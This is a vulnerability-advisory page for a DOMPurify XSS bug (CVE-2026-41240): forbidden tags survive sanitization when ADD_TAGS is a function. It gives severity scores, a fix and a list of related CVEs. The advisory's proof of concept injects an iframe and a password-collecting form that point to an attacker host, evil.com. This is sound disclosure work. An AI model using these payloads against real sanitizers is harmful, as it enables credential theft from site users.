Skip to main content

DOMPurify CVE-2026-41240

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 https://github.com/cure53/DOMPurify GHSA-h7mw-gpvr-xq4m
6.0
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
SUSE
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Red Hat
8.1 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

5
CVSS changed
Apr 23, 2026 - 16:27 NVD
6.0 (MEDIUM)
Analysis Generated
Apr 23, 2026 - 07:04 vuln.today
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 22, 2026 - 18:01 vuln.today
CVE Published
Apr 22, 2026 - 17:34 nvd
MEDIUM 6.0

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 62 npm packages depend on dompurify (29 direct, 33 indirect)

Ecosystem-wide dependent count for version 3.4.0.

DescriptionGitHub Advisory

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; }

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)

DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic }

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

AnalysisAI

Cross-site scripting (XSS) in DOMPurify occurs when function-based ADD_TAGS configuration is used with FORBID_TAGS, allowing attackers to bypass tag filtering and inject dangerous elements such as iframe, form, object, and embed with their attributes intact. The vulnerability stems from inconsistent handling of FORBID_TAGS compared to the separately-fixed FORBID_ATTR logic, where the forbidden tag check is short-circuited by a function-based ADD_TAGS predicate. Publicly available proof-of-concept demonstrates iframe and form injection with external URLs surviving sanitization; patch is available in version 3.4.0.

Technical ContextAI

DOMPurify is an XSS sanitizer library for HTML, DOM, and templating engines written in JavaScript and available via npm. The vulnerability resides in the tag allowlist/blocklist logic within the sanitization pipeline. At line 1118-1123 of the affected code, when EXTRA_ELEMENT_HANDLING.tagCheck is a function that returns true, JavaScript's short-circuit evaluation of the logical AND operator prevents the subsequent FORBID_TAGS check from executing. This contrasts with the FORBID_ATTR handling (line 1214), which explicitly checks FORBID_ATTR before evaluating function-based ADD_ATTR predicates. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting'), manifesting as a logic flaw in the configuration precedence system. The vulnerability affects all versions prior to the patch and requires the uncommon but supported scenario of configuring ADD_TAGS as a function rather than a static array.

RemediationAI

Upgrade DOMPurify to version 3.4.0 or later, which implements the FORBID_TAGS early-exit fix analogous to the FORBID_ATTR protection (commit c361baa). The patch adds an explicit check for FORBID_TAGS before evaluating function-based ADD_TAGS predicates, ensuring FORBID_TAGS always takes precedence. If immediate upgrade is not feasible, applications using function-based ADD_TAGS predicates should audit their configuration and temporarily switch to static array-based ADD_TAGS specifications or remove the function predicate pattern entirely until patching is completed. As a temporary compensating control, developers can manually implement FORBID_TAGS checks within their ADD_TAGS function predicate logic by returning false if the tag is in the forbidden list; however, this is error-prone and does not address the underlying library bug. Security reviews should verify that no production code relies on the vulnerable ADD_TAGS + FORBID_TAGS combination. Refer to GitHub advisory GHSA-h7mw-gpvr-xq4m and release notes at https://github.com/cure53/DOMPurify/releases/tag/3.4.0 for patch details.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Tumbleweed Fixed

Share

CVE-2026-41240 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy